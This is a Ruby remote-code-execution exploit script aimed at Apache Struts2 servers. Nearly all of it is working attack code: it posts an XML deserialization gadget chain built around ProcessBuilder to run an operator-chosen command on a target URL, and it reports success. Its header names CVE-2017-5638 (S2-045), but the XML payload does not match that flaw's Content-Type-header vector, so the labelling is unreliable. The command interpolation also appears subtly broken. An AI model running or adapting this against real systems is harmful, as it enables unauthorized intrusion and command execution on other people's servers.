#!/usr/bin/env ruby
# -*- coding: utf-8 -*-
#
# CVE-2017-5638 | Apache Apache Struts Jakarta Multipart Parser (Struts2 S2-045) RCE
# KING SABRI | @KINGSABRI
#
require 'net/http'

if ARGV.size >= 1
  url = ARGV[0]
  cmd = ARGV[1] || 'whoami'
else
  puts "ruby #{__FILE__} <TARGET URL> \"[CMD]\""
  exit
end

def payload(cmd)
  cmd = cmd.split
  <<~EOF
    <map>
    <entry>
        <jdk.nashorn.internal.objects.NativeString>
          <flags>0</flags>
          <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
              <dataHandler>
                <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
                    <is class="javax.crypto.CipherInputStream">
                      <cipher class="javax.crypto.NullCipher">
                          <initialized>false</initialized>
                          <opmode>0</opmode>
                          <serviceIterator class="javax.imageio.spi.FilterIterator">
                            <iter class="javax.imageio.spi.FilterIterator">
                                <iter class="java.util.Collections$EmptyIterator" />
                                <next class="java.lang.ProcessBuilder">
                                  <command>
                                      #{cmd.map {|c| "<string>#{c}</string>"}}
                                  </command>
                                  <redirectErrorStream>false</redirectErrorStream>
                                </next>
                            </iter>
                            <filter class="javax.imageio.ImageIO$ContainsFilter">
                                <method>
                                  <class>java.lang.ProcessBuilder</class>
                                  <name>start</name>
                                  <parameter-types />
                                </method>
                                <name>BHR</name>
                            </filter>
                            <next class="string">BHR</next>
                          </serviceIterator>
                          <lock />
                      </cipher>
                      <input class="java.lang.ProcessBuilder$NullInputStream" />
                      <ibuffer />
                      <done>false</done>
                      <ostart>0</ostart>
                      <ofinish>0</ofinish>
                      <closed>false</closed>
                    </is>
                    <consumed>false</consumed>
                </dataSource>
                <transferFlavors />
              </dataHandler>
              <dataLen>0</dataLen>
          </value>
        </jdk.nashorn.internal.objects.NativeString>
        <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString" />
    </entry>
    <entry>
        <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString" />
        <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString" />
    </entry>
    </map>
  EOF
end

def exploit(url, cmd)
  success = 'java.lang.String cannot be cast to java.security.Provider$Service'
  res     = Net::HTTP.post(URI(url), payload(cmd), {'Content-Type' => 'application/xml'})
  puts "[+] Target Exploited!" unless res.body.scan(success).empty?
rescue EOFError => e
  p e.inspect
end

puts '[*] CVE: 2017-5638 - Apache Struts2 S2-045'
puts "[*] CMD: #{cmd}"
exploit(url, cmd)


